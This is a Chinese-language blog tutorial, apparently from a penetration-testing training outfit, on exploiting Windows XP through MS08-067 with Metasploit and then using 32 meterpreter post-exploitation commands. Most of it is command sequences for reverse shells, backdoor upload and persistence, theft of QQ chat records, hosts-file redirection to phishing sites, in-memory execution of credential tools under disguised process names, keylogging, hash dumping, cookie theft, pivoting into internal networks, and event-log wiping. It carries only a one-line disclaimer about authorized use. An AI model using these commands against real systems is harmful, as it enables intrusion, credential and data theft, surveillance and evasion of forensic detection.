MSF—Metasploit 基础 渗透利用ms08-067

2019年04月02日 20:07:28 作者:必火 阅读数:39788
网络安全渗透测试北京实地培训,五个月华丽蜕变,零元入学:报名加微信:18622800700,手机:18622800700。推荐学员入学奖励现金2000元

MSF—Metasploit 基础

# 专业术语 @ 渗透攻击(Exploit) 渗透攻击是指有攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。

# 专业术语 @ 攻击载荷(Payload) 攻击载荷就是我们期望目标系统在本渗透攻击之后去执行的代码,在Metasploit 框架中可以自由地选择、传送和植入。

# 专业术语@ Shellcode Shellcode 是指在渗透攻击时作为攻击载荷运行的一组机器指令。

# 专业术语@ 监听器(Listener) 监听器是Metasploit 中用来等待连入网络连接的组件。

在kali inux中启动metasploit

msfconsole 启动metasploit

search ms08-067(是中横线,不是下划线)
1,use exploit/windows/smb/ms08_067_netapi
2,set payload windows/meterpreter/reverse_tcp (任选其一)
2,set payload generic/shell_reverse_tcp               (任选其一)
3,show targets
4,set target 7(选择window XP SP3)
5,show options
set RHOST   目标IP	set LHOST    本机IP	set LPORT     本机端口未被占用
6,exploit  

仅作渗透测试技术实验之用,请勿针对任何未授权网络和设备。

1、background命令

返回,把meterpreter后台挂起

2、session命令

session 命令可以查看已经成功获取的会话

可以使用session -i 连接到指定序号的meterpreter会话已继续利用

3、shell命令

获取目标主机的远程命令行shell

如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

4、cat命令

查看目标主机上的文档内容

例如:cat  C:\\boot.ini 查看目标主机启动引导信息

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

5、getwd命令

获取系统工作的当前目录

6、upload命令

上传文件到目标主机,例如把后门程序setup.exe传到目标主机system32目录下

upload  setup.exe  C:\\windows\\system32\

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

7、download命令

把目标主机上的文件下载到我们的攻击主机上

例如:把目标主机C盘根目录下的boot.ini文件下载到攻击主机的/root/目录下

download C:\\boot.ini /root/

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

download C:\\"Program Files"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/

把目标主机上的QQ聊天记录下载到攻击主机的root目录下(仅实验用途,是否要考虑变更你QQ程序的安装路径了呢)

8、edit命令

调用vi编辑器,对目标主机上的文件修改

例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

在目标主机上ping www.baidu.com,出来的目标IP就是我们修改的192.168.1.1了

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

9、search命令

在目标主机文件系统上查找搜索文件

例如:search  -d  c:\\  -f  *.doc

在目标主机C盘下搜索doc文档

10、ipconfig命令

这个不多说,查看目标主机上的网络参数

11、portfwd命令

端口转发

例如目标主机上开启了3389,但是只允许特定IP访问,攻击主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开

例如:portfwd  add -l  1122 -p 3389 -r  192.168.250.176

把目标主机192.168.250.176的3389端口转发到1122端口

这是只需要连接目标的1122端口就可以打开远程桌面了

rdesktop  -u  administrator  -p  123456  192.168.250.176:1122

12、route命令

这个也不多说,显示目标主机上的主机路由表

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

13、getuid

查看meterpreter注入到目标主机的进程所属用户

14、sysinfo

查看目标主机系统信息

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

15、ps命令

查看目标主机上运行的进程信息,结合migrate使用

16、migrate

将meterpreter会话移植到另一个进程

例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法

可以先用ps命令看一下目标主机的explorer.exe进程的pid

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

是1668

然后我们用migrate 1668 把meterpreter会话注入进去

17、execute命令

在目标主机上运行某个程序

例如我们目前注入进程到explorer.exe后,运行用户为超级管理员administrator

我们运行一下目标主机上的记事本程序

execute  -f  notepad.exe

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

目标主机上立马弹出来一个记事本程序,如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

这样太明显,如果希望隐藏后台执行,加参数-H

execute  -H -f  notepad.exe

此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上

命令:

execute  -H -i -f  cmd.exe

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

这达到的效果就跟使用shell命令一样了

再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。

execute  -H -m -d notepad.exe -f  wce.exe -a "-o  wce.txt"

-d 在目标主机执行时显示的进程名称(用以伪装)

-m 直接从内存中执行

 "-o  wce.txt"是wce.exe的运行参数

 18、getpid

获取meterpreter会话在目标主机上注入进程的进程号

19、shutdown命令

关闭目标主机

20、后渗透模块post/windows/gather/forensics/enum_drives调用

在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息:

命令,在msfconsole下:

use post/windows/gather/forensics/enum_drives

set SESSION 1

exploit

效果如图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

或直接在meterpreter会话中以命令run  post/windows/gather/forensics/enum_drives调用

21、调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机

命令:

run  post/windows/gather/checkvm

效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

22、persistence后渗透模块向目标主机植入后门程序

命令:

run  persistence -X  -i  5  -p 4444  -r 172.17.11.18 

-X 在目标主机上开机自启动

-i  不断尝试反向连接的时间间隔

效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

执行过程:

创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。

下图,在攻击主机上监听4444端口,等待反弹会话成功

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

23、调用metsvc后渗透攻击模块

命令:run  metsvc

效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务

成功后:在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

24、调用getgui后渗透攻击模块

作用:开启目标主机远程桌面,并可添加管理员组账号

命令:

run  getgui  -e

开启目标主机远程桌面

如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

开启目标主机的远程桌面服务后,可以添加账号以便利用

命令:

run  getgui  -u  example_username  -p  example_password

如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机

rdesktop  -u  kali  -p  meterpreter  192.168.250.176:3389

25、提权命令getsystem

使用getsystem提升当前进城执行账户微system用户,拿到系统最高权限

命令:getsystem

26、键盘记录器功能keyscan

命令:

keyscan_start   开启记录目标主机的键盘输入

keyscan_dump   输出截获到的目标键盘输入字符信息

keyscan_stop     停止键盘记录

效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

箭头所指为截获到目标主机的键盘输入字符

27、系统账号密码获取

命令:hashdump

在获得system权限的情况下,使用hashdump命令可以到处目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码

效果如图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

28、调用post/windows/gather/enum_applications模块获取目标主机上的软件安装信息

命令:run  post/windows/gather/enum_applications

效果如图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

29、调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息

命令:run  post/windows/gather/dumplinks

效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

30、调用post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码

命令:run  post/windows/gather/enum_ie

效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下。

31、route命令

使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。

可以先使用run  get_local_subnets命令查看已拿下的目标主机的内网IP段情况

命令:run  get_local_subnets

如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

其内网尚有192.168.249.0/24网段,我们无法直接访问

下面做一条路由,下一跳为当前拿下主机的session id(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。

命令:route add  192.168.249.0 255.255.255.0 5

再使用route print查看一下路由表,效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249网段中另一台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另一台内网主机192.168.249.1,如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

32、clearev命令

入侵痕迹擦除

在渗透利用过程中难免留下日志等信息痕迹,使用clearev命令擦除痕迹后再跑。

命令:clearev

效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结